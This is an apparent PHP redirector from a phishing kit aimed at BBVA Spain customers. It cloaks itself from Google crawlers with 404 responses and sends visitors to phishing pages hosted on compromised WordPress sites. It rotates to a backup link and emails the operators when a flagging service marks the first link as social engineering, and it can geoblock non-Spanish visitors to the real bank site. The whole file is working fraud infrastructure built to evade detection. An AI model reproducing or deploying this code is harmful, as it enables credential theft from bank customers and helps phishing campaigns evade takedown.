creative

error_reporting(0);
if(strpos($_SERVER['HTTP_USER_AGENT'],'google') !== false ) { header('HTTP/1.0 404 Not Found'); exit(); }
if(strpos(gethostbyaddr(getenv("REMOTE_ADDR")),'google') !== false ) { header('HTTP/1.0 404 Not Found'); exit(); }
########################################
$scam1 = 'https://eastsidesantorini.com/wp-admin/js/items/'; //http://oxaney.com
$scam2 = 'https://itbikes.ec/wp-content/plugins/items/';
########################################
$aa = '0'; // Auto Redirecting
$gg = '0'; // check scam if you remove
$cc = '0'; // Random check flagged
$bb = '0'; // block all ip without spain
########################################
$mail = "[email protected],[email protected]";
########################################
$header = 'https://www.bbva.es/eng/particulares/index.jsp';
########################################
include "antibots1.php";
include "antibots2.php";
include "antibots3.php";
function request($scam) {
$st = curl_init();
curl_setopt($st,CURLOPT_URL,'https://aw-snap.info/utilities/is-flagged.php?url='.base64_encode($scam).'%3D~enc');
curl_setopt($st, CURLOPT_RETURNTRANSFER, true);
curl_setopt($st,CURLOPT_RETURNTRANSFER,1);
curl_setopt($st,CURLOPT_FOLLOWLOCATION, 1);
$data = curl_exec($st); //print $data;
curl_close($st);
return $data;
}
function get($zaba) {
$st = curl_init();
curl_setopt($st,CURLOPT_URL,$zaba);
curl_setopt($st, CURLOPT_RETURNTRANSFER, true);
curl_setopt($st,CURLOPT_RETURNTRANSFER,1);
curl_setopt($st,CURLOPT_FOLLOWLOCATION, 1);
$ok = curl_exec($st);
curl_close($st);
return $ok;
}
if($aa == 1 ){
if($bb == 1 ){
$ip  = getenv("REMOTE_ADDR"); #'91.142.217.133';
$ip_data = @json_decode(get("http://www.geoplugin.net/json.gp?ip=".$ip));
$dexter = $ip_data->geoplugin_countryCode;
if(!eregi("ES",$dexter)){
header("location: ".$header."");
break;
}
}
if($cc == 1 ){
if($gg == 1 ){
if(!file_exists("removed.txt")) {
if(!preg_match_all('#1f3870be274f6c49b3e31a0c6728957f#',get($scam1."/robots.txt"))){
mail($mail,"Report Removed - ".rand(),"link it's removed in the time ".date("h:i:sa"));
fopen("removed.txt", "ab");
header("location: $scam2");
break;
}
}
else{
header("location: $scam2");
break;
}
}
if(!file_exists("detected.txt")) {
if(rand(1, 4) == 2 ){
if(preg_match_all('#<strong>NOT</strong> currently flagged.</p>#',request($scam1))){
header("location: $scam1");
}
elseif(preg_match_all('#<strong>SOCIAL_ENGINEERING</strong>#',request($scam1))){
mail($mail,"Report Phishing - ".rand(),"link deceptive in the time ".date("h:i:sa"));
fopen("detected.txt", "ab");
header("location: $scam2");
}
}
else{
header("location: $scam1");
}
}
else{
header("location: $scam2");
}
break;
}
##########
if($gg == 1 ){
if(!file_exists("removed.txt")) {
if(!preg_match_all('#1f3870be274f6c49b3e31a0c6728957f#',get($scam1."/robots.txt"))){
mail($mail,"Report Removed - ".rand(),"link it's removed in the time ".date("h:i:sa"));
fopen("removed.txt", "ab");
header("location: $scam2");
break;
}
}
else{
header("location: $scam2");
break;
}
}
if(!file_exists("detected.txt")) {
if(preg_match_all('#<strong>NOT</strong> currently flagged.</p>#',request($scam1))){
header("location: $scam1");
}
elseif(preg_match_all('#<strong>SOCIAL_ENGINEERING</strong>#',request($scam1))){
mail($mail,"Report Phishing - ".rand(),"link deceptive in the time ".date("h:i:sa"));
fopen("detected.txt", "ab");
header("location: $scam2");
}
}
else{
header("location: $scam2");
}
}
else{
header("location: $scam2");
}